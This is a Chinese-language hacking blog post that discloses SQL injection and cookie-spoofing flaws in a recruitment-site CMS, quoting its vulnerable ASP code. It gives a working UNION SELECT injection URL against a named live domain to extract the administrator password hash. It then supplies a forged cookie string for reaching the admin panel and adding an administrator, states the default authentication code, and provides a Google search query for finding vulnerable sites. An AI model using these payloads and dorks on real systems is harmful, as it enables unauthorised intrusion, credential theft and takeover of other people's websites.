んㄗ葑訫鎖愛S Blog http://www.virusest.com/ 网愿科技人才网系统 V3.1 (acc)存在SQL注入和cookies欺骗漏洞 先说sql注入,问题出在view_notice.asp文件,问题代码: id=Trim(Request.QueryString("id")) set rs=createobject("adodb.recordset") sql="select * from [notice] where id="&id&"" rs.open sql,Conn,1,1 if rs.eof then Response.Write("还没有公告") else id没过滤,没判断是否为数字型带入数据库查询。系统有个防注入貌似没用。asp里IsNumeric,isinteger,clng等这么多函数怎么就不用呢,随便加一个判断一下安全性就上一个档次的,算了,扯远了,继续,注入语句: http://www.bsrczp.com/view_notice.asp?id=8 and 1=2 union select 1,password,3,admin,5 from admin where adminid=1 如果有多个管理员只需更改adminid值。另外,注入时id要选择一个存在的值,也就是说要有一个存在的公告。这个也不必担心,google会给你找好存在的公告。
二,后台验证存在cookies欺骗。看看check.asp的代码 dim job_admin_Name,job_admin_PassWord,job_admin_flag,flag job_admin_Name=replace(Request.Cookies("job_admin_Name"),"","") job_admin_PassWord=Request.Cookies("job_admin_PassWord") job_admin_flag=replace(Request.Cookies("job_admin_flag"),"","") if job_admin_Name="" or job_admin_PassWord="" or job_admin_flag="" then response.write"
" response.End() else sql="select * from admin where admin=" & job_admin_Name & " and password=" & job_admin_PassWord & " and flag="&job_admin_flag&" and locked=0" set rs=conn.execute(sql) if rs.eof and rs.bof then rs.close response.write"
" response.End() else flag=rs("flag") end if end if 没用session验证,用cookies判断,更可笑的是从cookies里取得job_admin_PassWord并没进行MD5解密带入数据库,数据库里的密码也是MD5加密后的,这样我们通过前面的注入,直接拿到MD5加密后的密码,然后进行cookies欺骗,就可以访问后台的页面了。可怜了作者苦心设计的后台登陆认证码。这里我就以domain3.6(3.5的在Windows7下还不能用,)为例。构造cookies: job_admin_Name=admin; job_admin_PassWord=54cbf7c4f330eddf; job_admin_flag=1; YYQBDBMLXSUNDEMPZOUP=KSTIJBCQBGPLBOUBWZQIRXAUHDKCCRBNAZPCDNPD; ASPSESSIONIDSATBTDAS=JIMLEFFCNMKHBDLAAEILHOBH; 只需把job_admin_PassWord和job_admin_Name改为网站的管理员帐号和MD5加密后的,修改cookies,然后直接访问admin/manageadmin.asp页面,在这里可以自己添加一个管理员。默认的认证码是jobacc,当然你也可以访问其他的页面。 最后,给个搜索的关键字,Google:inurl:view_notice.asp?id= intitle:网站公告 这样搜的比较精确了,也许还有其他的。 PS:还有一个文件存在注入view_person.asp:
uid=ReplaceBadChar(Trim(Request.QueryString("id"))) if uid="" then response.write"
" response.end end if set rs_person=server.createobject("adodb.recordset")
conn.Execute "update person set click=click+1 where id="&uid&""
sql_person="select * from person where job<>"" and id="&uid&"" rs_person.open sql_person,conn,2,3 工具可以检测到注入,但是什么也猜解不出来,关键是这句sql_person="select * from person where job<>"" and id="&uid&""我试着构造2次union结果还是出问题,哪位高人若写出注入语句,还望告诉小弟,谢之!